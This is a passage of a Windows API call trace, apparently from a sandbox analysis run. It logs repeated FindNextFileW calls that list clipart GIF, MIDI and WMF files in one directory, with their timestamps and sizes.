nFileSizeHigh=0x0, nFileSizeLow=0x342e, dwReserved0=0x0, dwReserved1=0x0, cFileName="URBAN_01.MID", cAlternateFileName="")) returned 1 [0273.780] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1 [0273.780] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1 [0273.780] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1 [0273.780] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1 [0273.780] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1 [0273.780] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1 [0273.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1 [0273.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1 [0273.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1 [0273.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1 [0273.781] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1 [0273.782] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1 [0273.782] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1 [0273.782] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1 [0273.782] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1 [0273.782] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1 [0273.782] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1 [0273.783] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1 [0273.783] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1 [0273.783] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1 [0273.783] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1 [0273.783] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1 [0273.783] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794e1400, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x794e1400, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01300_.GIF", cAlternateFileName="")) returned 1 [0273.784] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74896000, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74896000, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01301_.GIF", cAlternateFileName="")) returned 1 [0273.784] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a0ea00, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a0ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x2076, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01304G.GIF", cAlternateFileName="")) returned 1 [0274.570] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1 [0274.571] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1 [0274.571] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1 [0274.571] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1 [0274.571] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1 [0274.571] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1 [0274.572] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1 [0274.572] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1 [0274.572] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1 [0274.572] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1 [0274.572] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1 [0274.573] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1 [0274.573] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1 [0274.573] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1 [0274.573] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1 [0274.573] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1 [0274.574] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1 [0274.574] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1 [0274.574] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1 [0274.574] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1 [0274.574] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1 [0274.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, 